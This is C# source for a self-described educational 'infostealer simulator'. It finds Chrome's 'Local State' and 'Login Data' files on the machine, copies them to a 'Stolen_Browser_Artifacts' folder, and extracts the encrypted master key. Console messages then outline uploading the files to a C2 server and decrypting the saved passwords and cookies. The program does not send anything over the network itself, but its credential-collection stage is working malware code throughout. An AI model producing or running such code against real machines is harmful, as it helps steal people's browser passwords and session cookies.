using System;
using System.IO;
using System.Text.Json;
using System.Security.Cryptography; // Used here only for demonstration context, not actual DPAPI access

namespace ChromeStealerDemo
{
    public class InfostealerSimulator
    {
        // --- CONSTANTS AND TARGET PATHS ---
        
        // This is the common location for Chromium-based browsers (Chrome, Edge, etc.)
        private static readonly string AppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
        private static readonly string ChromeUserDataPath = Path.Combine(AppDataPath, "Google", "Chrome", "User Data");
        private static readonly string DefaultProfilePath = Path.Combine(ChromeUserDataPath, "Default");
        
        // The two most critical files attackers steal:
        private const string LocalStateFileName = "Local State";
        private const string LoginDataFileName = "Login Data";
        
        // Output directory where the stolen files are stored before transfer to C2
        private static readonly string StolenDataOutput = "C:\\Stolen_Browser_Artifacts";

        /// <summary>
        /// Main method to simulate the infostealer payload executing on the victim's machine.
        /// </summary>
        public static void Main(string[] args)
        {
            Console.Title = "Infostealer Key Extraction Simulator (Educational Demo)";
            Console.WriteLine("===== SIMULATING INFOTEALER MALWARE EXECUTION =====");

            // 1. Ensure the output directory for the stolen data exists
            if (!Directory.Exists(StolenDataOutput))
            {
                Directory.CreateDirectory(StolenDataOutput);
                Console.WriteLine($"[SETUP] Created output directory: {StolenDataOutput}");
            }
            
            // 2. Execute the extraction sequence
            ExtractEncryptedMasterKey();
            ExtractEncryptedLoginData();

            Console.WriteLine("\n=================================================");
            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine("[CRITICAL STEP 3: ATTACKER'S SERVER PROCESSING]");
            Console.ResetColor();
            Console.WriteLine($"The attacker now has the two key files in {StolenDataOutput}.");
            Console.WriteLine("The next step in the real attack chain would be:");
            Console.WriteLine("1. Offloading these files to the attacker's server (C2).");
            Console.WriteLine("2. Using specialized software to bypass DPAPI and decrypt the key.");
            Console.WriteLine("3. Using the decrypted key to restore all passwords and cookies.");
            Console.WriteLine("--- SIMULATION ENDED ---");
        }

        /// <summary>
        /// Locates and extracts the Local State file containing the encrypted master key (DPAPI blob).
        /// </summary>
        private static void ExtractEncryptedMasterKey()
        {
            string sourcePath = Path.Combine(ChromeUserDataPath, LocalStateFileName);
            string destPath = Path.Combine(StolenDataOutput, LocalStateFileName);

            Console.WriteLine($"\n[PHASE 1] Locating Master Key: {sourcePath}");
            
            if (File.Exists(sourcePath))
            {
                try
                {
                    // Copy the file containing the encrypted master key
                    File.Copy(sourcePath, destPath, true);
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine($"[SUCCESS] Stole Encrypted Local State Key: {destPath}");
                    Console.ResetColor();

                    // --- EXPLANATION OF THE STOLEN KEY DATA ---
                    
                    // In a real attack, the malware would parse this JSON file to get the base64 string.
                    // The string looks like the one you provided (FtYWCZSwbMgGHDmHB9mB5dn...).
                    string jsonContent = File.ReadAllText(destPath);
                    using (JsonDocument document = JsonDocument.Parse(jsonContent))
                    {
                        if (document.RootElement.TryGetProperty("os_crypt", out var osCrypt) &&
                            osCrypt.TryGetProperty("encrypted_key", out var encryptedKeyElement))
                        {
                            string encryptedKeyBase64 = encryptedKeyElement.GetString();
                            Console.WriteLine($"[DATA] Encrypted Key Base64 Length: {encryptedKeyBase64.Length}");
                            
                            // THIS IS THE KEY THE ATTACKER MUST DECRYPT OFFLINE.
                            Console.ForegroundColor = ConsoleColor.Yellow;
                            Console.WriteLine($"[KEY]: {encryptedKeyBase64.Substring(0, 50)}... (STOLEN)");
                            Console.ResetColor();
                            
                            Console.WriteLine("!!! This key is useless until the attacker bypasses DPAPI on their server. !!!");
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine($"[ERROR] Failed to steal Local State: {ex.Message}");
                    Console.ResetColor();
                }
            }
            else
            {
                Console.WriteLine("[WARN] Chrome Local State file not found. Is Chrome installed?");
            }
        }

        /// <summary>
        /// Locates and extracts the database file containing all the AES-encrypted user credentials.
        /// </summary>
        private static void ExtractEncryptedLoginData()
        {
            string sourcePath = Path.Combine(DefaultProfilePath, LoginDataFileName);
            string destPath = Path.Combine(StolenDataOutput, LoginDataFileName);

            Console.WriteLine($"\n[PHASE 2] Locating Encrypted Credentials: {sourcePath}");

            if (File.Exists(sourcePath))
            {
                try
                {
                    // Copy the SQL database containing all encrypted passwords, cookies, etc.
                    // The password field in this database is encrypted with the Master Key stolen in Phase 1.
                    File.Copy(sourcePath, destPath, true);
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine($"[SUCCESS] Stole Encrypted Credentials Database: {destPath}");
                    Console.ResetColor();
                    Console.WriteLine($"[INFO] This database is useless without the decrypted Master Key.");
                }
                catch (Exception ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine($"[ERROR] Failed to steal Login Data: {ex.Message}");
                    Console.ResetColor();
                }
            }
            else
            {
                Console.WriteLine("[WARN] Chrome Login Data file not found. No passwords to steal?");
            }
        }
    }
}
